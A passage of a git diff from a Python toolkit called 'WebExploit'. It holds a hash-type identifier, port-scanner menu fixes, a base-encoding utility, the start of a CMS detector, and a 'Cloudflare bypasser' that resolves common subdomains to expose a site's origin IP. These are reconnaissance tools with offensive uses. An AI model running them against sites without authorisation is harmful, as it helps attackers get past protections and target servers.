hs='b4f7c8993a389eac4f421b9b3b2bfb3a241d05949324a8dab1286069a18de69aaf5ecc3c2009d8ef' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("118020") + def RipeMD320HMAC(hash): + hs='244516688f8ad7dd625836c0d0bfc3a888854f7c0161f01de81351f61e98807dcd55b39ffe5d7a78' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("118040") + + def SHA384(hash): + hs='3b21c44f8d830fa55ee9328a7713c6aad548fe6d7a4a438723a0da67c48c485220081a2fbc3e8c17fd9bd65f8d4b4e6b' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("119020") + def SHA384HMAC(hash): + hs='bef0dd791e814d28b4115eb6924a10beb53da47d463171fe8e63f68207521a4171219bb91d0580bca37b0f96fddeeb8b' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("119040") + + def SHA256s(hash): + hs='$6$g4TpUQzk$OmsZBJFwvy6MwZckPvVYfDnwsgktm2CckOlNJGy9HNwHSuHFvywGIuwkJ6Bjn3kKbB6zoyEjIYNMpHWBNxJ6g.' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$6$')==0: + jerar.append("120020") + + def SHA384Django(hash): + hs='sha384$Zion3R$88cfd5bc332a4af9f09aa33a1593f24eddc01de00b84395765193c3887f4deac46dc723ac14ddeb4d3a9b958816b7bba' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:6].find('sha384')==0: + jerar.append("121020") + + def SHA512(hash): + hs='ea8e6f0935b34e2e6573b89c0856c81b831ef2cadfdee9f44eb9aa0955155ba5e8dd97f85c73f030666846773c91404fb0e12fb38936c56f8cf38a33ac89a24e' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("122020") + def SHA512HMAC(hash): + hs='dd0ada8693250b31d9f44f3ec2d4a106003a6ce67eaa92e384b356d1b4ef6d66a818d47c1f3a2c6e8a9a9b9bdbd28d485e06161ccd0f528c8bbb5541c3fef36f' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("122060") + def Whirlpool(hash): + hs='76df96157e632410998ad7f823d82930f79a96578acc8ac5ce1bfc34346cf64b4610aefa8a549da3f0c1da36dad314927cebf8ca6f3fcd0649d363c5a370dddb' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("122040") + def WhirlpoolHMAC(hash): + hs='77996016cf6111e97d6ad31484bab1bf7de7b7ee64aebbc243e650a75a2f9256cef104e504d3cf29405888fca5a231fcac85d36cd614b1d52fce850b53ddf7f9' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("122080") + + + + # try: + # first = str(argv[1]) + # except: + # first = None + #first = True + while True: + try: + jerar=[] + + h = input(f' {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}A.H.F/{bold}ANGRY-HASH-FINDER{white}{nbold}[{bold}{green}---HASH---{white}{nbold}]{nbold}{f.WHITE} enter you\'r \'\HASH{nbold}\' [ex: (all types !)]:#{f.GREEN}{bold} ') + print ('') + + ADLER32(h); CRC16(h); CRC16CCITT(h); CRC32(h); CRC32B(h); DESUnix(h); DomainCachedCredentials(h); FCS16(h); GHash323(h); GHash325(h); GOSTR341194(h); Haval128(h); Haval128HMAC(h); Haval160(h); Haval160HMAC(h); Haval192(h); Haval192HMAC(h); Haval224(h); Haval224HMAC(h); Haval256(h); Haval256HMAC(h); LineageIIC4(h); MD2(h); MD2HMAC(h); MD4(h); MD4HMAC(h); MD5(h); MD5APR(h); MD5HMAC(h); MD5HMACWordpress(h); MD5phpBB3(h); MD5Unix(h); MD5Wordpress(h); MD5Half(h); MD5Middle(h); MD5passsaltjoomla1(h); MD5passsaltjoomla2(h); MySQL(h); MySQL5(h); MySQL160bit(h); NTLM(h); RAdminv2x(h); RipeMD128(h); RipeMD128HMAC(h); RipeMD160(h); RipeMD160HMAC(h); RipeMD256(h); RipeMD256HMAC(h); RipeMD320(h); RipeMD320HMAC(h); SAM(h); SHA1(h); SHA1Django(h); SHA1HMAC(h); SHA1MaNGOS(h); SHA1MaNGOS2(h); SHA224(h); SHA224HMAC(h); SHA256(h); SHA256s(h); SHA256Django(h); SHA256HMAC(h); SHA256md5pass(h); SHA256sha1pass(h); SHA384(h); SHA384Django(h); SHA384HMAC(h); SHA512(h); SHA512HMAC(h); SNEFRU128(h); SNEFRU128HMAC(h); SNEFRU256(h); SNEFRU256HMAC(h); Tiger128(h); Tiger128HMAC(h); Tiger160(h); Tiger160HMAC(h); Tiger192(h); Tiger192HMAC(h); Whirlpool(h); WhirlpoolHMAC(h); XOR32(h); md5passsalt(h); md5saltmd5pass(h); md5saltpass(h); md5saltpasssalt(h); md5saltpassusername(h); md5saltmd5pass(h); md5saltmd5passsalt(h); md5saltmd5passsalt(h); md5saltmd5saltpass(h); md5saltmd5md5passsalt(h); md5username0pass(h); md5usernameLFpass(h); md5usernamemd5passsalt(h); md5md5pass(h); md5md5passsalt(h); md5md5passmd5salt(h); md5md5saltpass(h); md5md5saltmd5pass(h); md5md5usernamepasssalt(h); md5md5md5pass(h); md5md5md5md5pass(h); md5md5md5md5md5pass(h); md5sha1pass(h); md5sha1md5pass(h); md5sha1md5sha1pass(h); md5strtouppermd5pass(h); sha1passsalt(h); sha1saltpass(h); sha1saltmd5pass(h); sha1saltmd5passsalt(h); sha1saltsha1pass(h); sha1saltsha1saltsha1pass(h); sha1usernamepass(h); sha1usernamepasssalt(h); sha1md5pass(h); sha1md5passsalt(h); sha1md5sha1pass(h); sha1sha1pass(h); sha1sha1passsalt(h); sha1sha1passsubstrpass03(h); sha1sha1saltpass(h); sha1sha1sha1pass(h); sha1strtolowerusernamepass(h) + + if len(jerar)==0: + + print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}NOT FOUND{f.WHITE}{nbold}] WEB EXPLOIT CAN\'T FIND TYPE HASH -> {bold}{h}{nbold} TRY AGAIN . . .\n') + elif len(jerar)>2: + jerar.sort() + + print(f'\n\n {nbold}{f.WHITE}[{f.GREEN}{bold}POSSIBLE :{f.WHITE}{nbold}] WEB EXPLOIT , HASH\'s -> {bold}{h}{nbold}') + t.sleep(0.1) + + j0 = str(algorithms[jerar[0]]) + j1 = str(algorithms[jerar[1]]) + + print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}A.H.F/{f.CYAN}CHECKER{f.WHITE}] POSSIBLE HASH [{bold}{green}{j0}{nbold}{white}]\n') + t.sleep(0.1) + print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}A.H.F/{f.CYAN}CHECKER{f.WHITE}] POSSIBLE HASH [{bold}{green}{j1}{nbold}{white}]\n') + t.sleep(0.1) + print(f'\n\n {nbold}{f.WHITE}[{f.YELLOW}{bold}LEAST POSSIBLE :{f.WHITE}{nbold}] WEB EXPLOIT , HASH\'s -> {bold}{h}{nbold}\n') + + for a in range(int(len(jerar))-2): + + algj = str(algorithms[jerar[a+2]]) + print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}A.H.F/{f.CYAN}CHECKER{f.WHITE}] LEAST POSSIBLE HASH [{bold}{green}{algj}{nbold}{white}]\n') + t.sleep(0.2) + else: + jerar.sort() + print(f'\n\n {nbold}{f.WHITE}[{f.GREEN}{bold}POSSIBLE :{f.WHITE}{nbold}] WEB EXPLOIT , HASH\'s -> {bold}{h}{nbold}') + t.sleep(0.2) + for a in range(len(jerar)): + ja = str(algorithms[jerar[a]]) + print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}A.H.F{f.WHITE}][{bold}{green}{ja}{nbold}{white}]\n') + t.sleep(0.1) + + first = None + except KeyboardInterrupt: + print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .') + t.sleep(2) + exit() diff --git a/cores/aps.py b/cores/aps.py index 1d65d76..560d985 100644 --- a/cores/aps.py +++ b/cores/aps.py @@ -188,6 +188,8 @@ def single(): typ = 'vnc' elif port == '1027': typ = 'iis' + else: + typ = "unknown" # end known ports try: print (f'\n {f.WHITE}{nbold}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}A.P.S/{bold}PORT[S]{nbold}{f.WHITE}] {f.CYAN}SINGLE PORT{f.WHITE} >>>{bold} {port}[{typ}]{nbold} \n') @@ -301,6 +303,8 @@ def multi(): typ = 'vnc' elif port == '1027': typ = 'iis' + else: + typ = "unknown" # end known ports try: print (f'\n {f.WHITE}{nbold}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}A.P.S/{bold}PORT[S]{nbold}{f.WHITE}] {f.CYAN}SINGLE PORT{f.WHITE} >>>{bold} {port}[{typ}]{nbold} \n') @@ -457,7 +461,7 @@ def multi(): while True: try: - select = input(f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}A.P.S/{bold}MODE{nbold}{f.WHITE}| (1 (SINGLE), 2 (MULTI-WITH-FILE)]:#{f.GREEN}{bold} ') + select = input(f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}A.P.S/{bold}MODE{nbold}{f.WHITE}| (2 MULTI-WITH-FILE, 1 SINGLE]:#{f.GREEN}{bold} ') except Exception as s_e: print (f'\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{nbold}{f.WHITE}]{f.YELLOW} BECAUSE: {bold}[{s_e}] {nbold} EXITTING . . .\n') @@ -469,13 +473,13 @@ def multi(): if select == '1': print(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}A.P.S/{bold}MODE[1]{nbold}{f.WHITE}') t.sleep(2) - print (f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}A.P.S/{f.CYAN}{bold}Loading{white} MODE 1 [{bold}MULTI-HOST-FILE{nbold}] !\n\n\n') - single() + print (f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}A.P.S/{f.CYAN}{bold}Loading{white} MODE 2 [{bold}MULTI-HOST-FILE{nbold}] !\n\n\n') + multi() if select == '2': print(f' {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}A.P.S/{bold}MODE[2]{nbold}{f.WHITE}') t.sleep(2) - print (f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}A.P.S/{f.CYAN}{bold}Loading{white} MODE 2 [{bold}SINGLE{nbold}] !\n\n\n') - multi() + print (f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}A.P.S/{f.CYAN}{bold}Loading{white} MODE 1 [{bold}SINGLE{nbold}] !\n\n\n') + single() if select == None: print (f'\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{nbold}{f.WHITE}]{f.YELLOW} MODE {bold}[NOT SELECTED] {red}{nbold} EXITTING . . .\n') sys.exit() diff --git a/cores/b64.py b/cores/b64.py new file mode 100644 index 0000000..5c0fab8 --- /dev/null +++ b/cores/b64.py @@ -0,0 +1,225 @@ +def run(): + ''' + MIT License + +Copyright (c) 2022 MJi | DarkƤwn [github.com/c4ssif3r] + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +''' + 'pip install google-search' + try: + import time as t + from colorama import Fore as f + import sys, os + import requests as r + import paramiko + from random import choice + import base64 + import binascii + except: + print("\033[0;31m please run command \033[0;32m pip install -r requirements.txt !") + t.sleep(1) + sys.exit() + + black = "\033[0;30m" + red = "\033[0;31m" + green = "\033[0;32m" + brown = "\033[0;33m" + blue = "\033[0;34m" + purple = "\033[0;35m" + cyan = "\033[0;36m" + l_gray = "\033[0;37m" + dark_gray = "\033[1;30m" + l_red = "\033[1;31m" + l_green = "\033[1;32m" + yellow = "\033[1;33m" + l_blue = "\033[1;34m" + l_purple = "\033[1;35m" + l_cyan = "\033[1;36m" + l_white = "\033[1;37m" + faint = "\033[2m" + italic = "\033[3m" + underline = "\033[4m" + blink = "\033[5m" + nefative = "\033[7m" + cross = "\033[9m" + ended = "\033[0m" + bold = "\033[1m" + nbold = "\033[0m" + white = f.WHITE + + bnr = [''' + ▄▄▄▄· ▄▄▄ . ·▄▄▄▄ + ▐█ ▀█▪ ▀▄.▀· ██· ██ + ▐█▀▀█▄ ▐▀▀▪▄ ▐█▪ ▐█▌ + ██▄▪▐█ ▐█▄▄▌ ██. ██ + ·▀▀▀▀ ▀▀▀ ▀▀▀▀▀• ''', ''' + ▄▄▄▄ ▓█████ ▓█████▄ + ▓█████▄ ▓█ ▀ ▒██▀ ██▌ + ▒██▒ ▄██ ▒███ ░██ █▌ + ▒██░█▀ ▒▓█ ▄ ▒░▓█▄ ▌ + ▒░▓█ ▀█▓ ░▒████ ░░▒████▓ + ░░▒▓███▀▒ ░░ ▒░ ░ ▒▒▓ ▒ + ░▒░▒ ░ ░ ░ ░ ▒ ▒ + ░ ░ ░ ░ ░ ░ + ░ ░ ░ ░ '''] + + def r_bnr(bnr): + return choice(bnr) + + print (f'{blink}{r_bnr(bnr)}{ended}', end='') + t.sleep(2) + print(f' {italic}From{ended} : ', end='') + #create flush text [simple] + print(f'{red}{bold}', end='', flush=True) + print(f'{bold}W', end='', flush=True) + t.sleep(0.5) + print('e', end='', flush=True) + t.sleep(0.7) + print('b', end='', flush=True) + t.sleep(0.4) + print('E', end='', flush=True) + t.sleep(0.1) + print('x', end='', flush=True) + t.sleep(0.2) + print('p', end='', flush=True) + t.sleep(0.3) + print('l', end='', flush=True) + t.sleep(0.4) + print('o', end='', flush=True) + t.sleep(0.5) + print('i', end='', flush=True) + t.sleep(1.5) + print(f't{ended}', flush=True) + nbold = "\033[0m" # tahe koskholi ! + t.sleep(1) + print(f'{white}{nbold}') +# SIMPLE TOOL ! + print (f'\n {bold}{f.GREEN}[{f.WHITE}B*TOOL{f.GREEN}]{f.WHITE}{f.RED} B64-DEC-ENC{f.WHITE}{bold} BASE 16,32,64,85{nbold}.DEC.ENC{nbold} DECODER T00L !\n\n\n') + t.sleep(3) + + + + + while True: + try: + string = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}B64-DEC-ENC/{bold}DECODER-ENCODER{nbold}{f.WHITE} T00L . enter Your {bold}\'string{nbold}\' [ex: WebExploit | V2ViRXhwbG9pdAo=]:#{f.RED}{bold} ') + print(f'{nbold}') + + if string: + print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}B*/{bold}ENC-DEC{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{string}{nbold}\n') + t.sleep(1) + break + else: + continue + + except KeyboardInterrupt: + print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .') + t.sleep(2) + # break + sys.exit(0) + + t.sleep(2) + strtype =input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}B64-DEC-ENC/{bold}DEC-ENC{nbold}{f.WHITE} T00L . enter Your {bold}\'MODE{nbold}\' [ex: [1] DECODE, [2] ENCODE ]:#{f.BLUE}{bold} ') + print(f'{nbold}') + t.sleep(2) + + if strtype == '1' or strtype =='dec' or strtype == 'decode': + print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}B*/DECODER/{bold}STRING{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{string}{nbold}\n') + try: + t.sleep(2) + base16_bytes = string + base16_bytes = base64.b16decode(base16_bytes) + base16_message = base16_bytes.decode('ascii') + t.sleep(1) + print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}BASE{nbold}{bold}16{nbold}/{bold}DECODER{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{base16_message}{nbold}\n') + except Exception as err: + print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}BASE{nbold}{bold}16{nbold}/{bold}DECODER{nbold}{f.WHITE}]{f.RED} SKIPPING {white}{bold}BASE 16 \'TYPE\'{nbold} Error: {err}\n') + + try: + t.sleep(2) + #string.decode('ascii') + base32_bytes = string + base32_bytes = base64.b32decode(base32_bytes) + base32_message = base32_bytes.decode('ascii') + t.sleep(1) + print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}BASE{nbold}{bold}32{nbold}/{bold}DECODER{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{base32_message}{nbold}\n') + except Exception as err: + print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}BASE{nbold}{bold}32{nbold}/{bold}DECODER{nbold}{f.WHITE}]{f.RED} SKIPPING {white}{bold}BASE 32 \'TYPE\'{nbold} Error: {err}\n') + try: + t.sleep(2) + base64_bytes = string + base64_bytes = base64.b64decode(base64_bytes) + base64_message = base64_bytes.decode('ascii') + t.sleep(1) + print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}BASE{nbold}{bold}64{nbold}/{bold}DECODER{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{base64_message}{nbold}\n') + except Exception as err: + print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}BASE{nbold}{bold}64{nbold}/{bold}DECODER{nbold}{f.WHITE}]{f.RED} SKIPPING {white}{bold}BASE 64 \'TYPE\'{nbold} Error: {err}\n') + try: + t.sleep(2) + base85_bytes = string + base85_bytes = base64.b85decode(base85_bytes) + base85_message = base85_bytes.decode('ascii') + t.sleep(1) + print (f'\n {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}BASE{nbold}{bold}85{nbold}/{bold}DECODER{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{base85_message}{nbold}\n') + except Exception as err: + print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}BASE{nbold}{bold}85{nbold}/{bold}DECODER{nbold}{f.WHITE}]{f.WHITE} SKIPPING {white}{bold}BASE 85 \'TYPE\'{nbold}\n') + + elif strtype == '2' or strtype =='enc' or strtype == 'encode': + print (f'\n {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}B*/DECODER/{bold}STRING{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{string}{nbold}\n') + t.sleep(2) + base16_bytes = string.encode('ascii') + base16_bytes = base64.b16encode(base16_bytes) + base16_message = base16_bytes.decode('ascii') + t.sleep(1) + print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}BASE{white}{bold}16{nbold}/{bold}ENCODER{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{base16_message}{nbold}\n') + t.sleep(2) + base32_bytes = string.encode('ascii') + base32_bytes = base64.b32encode(base32_bytes) + base32_message = base32_bytes.decode('ascii') + t.sleep(1) + print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}BASE{white}{bold}32{nbold}/{bold}ENCODER{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{base32_message}{nbold}\n') + t.sleep(1) + base64_bytes = string.encode('ascii') + base64_bytes = base64.b64encode(base64_bytes) + base64_message = base64_bytes.decode('ascii') + t.sleep(1) + print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}BASE{nbold}{bold}64{nbold}/{bold}ENCODER{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{base64_message}{nbold}\n') + t.sleep(1) + base85_bytes = string.encode('ascii') + base85_bytes = base64.b85encode(base85_bytes) + base85_message = base85_bytes.decode('ascii') + t.sleep(1) + print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}BASE{nbold}{bold}85{nbold}/{bold}ENCODER{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{base85_message}{nbold}\n') + else: + print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] WHAT? {bold}\'{string}\'{nbold} ? EXITTING . . .') + t.sleep(2) + sys.exit(0) + + + + + + + + + + + + diff --git a/cores/cfb.py b/cores/cfb.py new file mode 100644 index 0000000..b5d1cea --- /dev/null +++ b/cores/cfb.py @@ -0,0 +1,159 @@ +def run(): + ''' + MIT License + +Copyright (c) 2022 MJi | DarkƤwn [github.com/c4ssif3r] + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +''' + try: + import time as t + from colorama import Fore as f + import sys, os + import socket + from random import choice + except: + print("\033[0;31m please run command \033[0;32m pip install -r requirements.txt !") + t.sleep(1) + sys.exit() + + black = "\033[0;30m" + red = "\033[0;31m" + green = "\033[0;32m" + brown = "\033[0;33m" + blue = "\033[0;34m" + purple = "\033[0;35m" + cyan = "\033[0;36m" + l_gray = "\033[0;37m" + dark_gray = "\033[1;30m" + l_red = "\033[1;31m" + l_green = "\033[1;32m" + yellow = "\033[1;33m" + l_blue = "\033[1;34m" + l_purple = "\033[1;35m" + l_cyan = "\033[1;36m" + l_white = "\033[1;37m" + faint = "\033[2m" + italic = "\033[3m" + underline = "\033[4m" + blink = "\033[5m" + nefative = "\033[7m" + cross = "\033[9m" + ended = "\033[0m" + bold = "\033[1m" + nbold = "\033[0m" + white = f.WHITE + + bnr = [''' + ▄████▄ █████ ▄▄▄▄ + ▒██▀ ▀█ ▓██ ▓█████▄ + ▒▓█ ▄ ▒████ ▒██▒ ▄██ + ▒▓▓▄ ▄██ ░▓█▒ ▒██░█▀ + ▒ ▓███▀ ▒░▒█░ ▒░▓█ ▀█▓ + ░ ░▒ ▒ ░ ▒ ░ ░░▒▓███▀▒ + ░ ▒ ░ ░ ░▒░▒ ░ + ░ ░ ░ ░ ░ + ░ ░ ░ ░ ░ ''', ''' + ▄▄· ·▄▄▄ ▄▄▄▄· + ▐█ ▌▪ █ · ▐█ ▀█▪ + ██ ▄▄ █▀▀▪ ▐█▀▀█▄ + ▐███▌ ██ . ██▄▪▐█ + ·▀▀▀ ▀▀▀ ·▀▀▀▀ '''] + + def r_bnr(bnr): + return choice(bnr) + + print (f'{blink}{r_bnr(bnr)}{ended}', end='') + t.sleep(2) + print(f' {italic}From{ended} : ', end='') + #create flush text [simple] + print(f'{red}{bold}', end='', flush=True) + print(f'{bold}W', end='', flush=True) + t.sleep(0.5) + print('e', end='', flush=True) + t.sleep(0.7) + print('b', end='', flush=True) + t.sleep(0.4) + print('E', end='', flush=True) + t.sleep(0.1) + print('x', end='', flush=True) + t.sleep(0.2) + print('p', end='', flush=True) + t.sleep(0.3) + print('l', end='', flush=True) + t.sleep(0.4) + print('o', end='', flush=True) + t.sleep(0.5) + print('i', end='', flush=True) + t.sleep(1.5) + print(f't{ended}', flush=True) + nbold = "\033[0m" # tahe koskholi ! + t.sleep(1) + print(f'{white}{nbold}') + + print (f'\n {bold}{f.GREEN}[{f.WHITE}CFB{f.GREEN}]{f.WHITE}{f.RED} C.F.B{f.WHITE}{bold} C{nbold}LOAD {bold}F{nbold}LARE {bold}B{nbold}YPASSER T00L !\n\n\n') + t.sleep(3) + + + while True: + try: + url = input(f' {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}C.F.B/{bold}URL{nbold}{f.WHITE} enter \'{bold}URL{nbold}\' [ex: youtube.com]:#{f.GREEN}{bold} ') + print(f'{nbold}') + + if url: + if 'http' not in url: + break + if 'https://' not in url: + break + else: + print(f'\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] ENTER URL WITHOUT {bold}HTTP:// OR HTTPS://{nbold} TRY AGAIN . . .\n') + t.sleep(1) + continue + else: + continue + except KeyboardInterrupt: + print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .') + t.sleep(2) + # break + sys.exit(0) + + subdomain = (f'{os.getcwd()}/cores/subdomains.txt') + subdomains = open(subdomain, 'r').read().split() + print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}C.F.B/{f.CYAN}DEFAULT{f.WHITE}] OPENNING {bold}DEFAULT{nbold} TOP SUBDOMAINS FILE {bold}{f.GREEN}\n') + t.sleep(2) + print (f' {nbold}{f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}W.P.F/{f.CYAN}DEFAULT{f.WHITE}] LOADED {bold}%s SUBDOMAINS{nbold}{f.GREEN} SUCCESS ...{white}\n' % len(subdomains)) + t.sleep(2) + try: + for sub in subdomains: + try: + finally_host = str(sub) + "." + str(url) + bypassed_host = socket.gethostbyname(str(finally_host)) + + print (f' {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}CFB/{f.WHITE}STATUS-{bold}{f.GREEN}SUCCESS{nbold}{f.WHITE}] REAL-IP-ADDR {f.WHITE}~> [{f.GREEN}{bold}{bypassed_host}{nbold}{f.WHITE}]---[{finally_host}] \n') + + except Exception as socket_err: + print (f' {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}CFB/{f.WHITE}STATUS-{bold}{f.RED}ERROR{nbold}{f.WHITE}] CAN\'T BYPASS ERROR: {f.WHITE}~> [{f.RED}{bold}{socket_err}{nbold}{f.WHITE}]---[{finally_host}] \n') + except KeyboardInterrupt: + print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .') + t.sleep(2) + sys.exit(0) + + + + diff --git a/cores/cms.py b/cores/cms.py new file mode 100644 index 0000000..b8d8f11 --- /dev/null +++ b/cores/cms.py @@ -0,0 +1,161 @@ +def run(): + ''' + MIT License + +Copyright (c) 2022 MJi | DarkƤwn [github.com/c4ssif3r] + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +''' + try: + import time as t + from colorama import Fore as f + import sys, os + import builtwith + from random import choice + except: + print("\033[0;31m please run command \033[0;32m pip install -r requirements.txt !") + t.sleep(1) + sys.exit() + + black = "\033[0;30m" + red = "\033[0;31m" + green = "\033[0;32m" + brown = "\033[0;33m" + blue = "\033[0;34m" + purple = 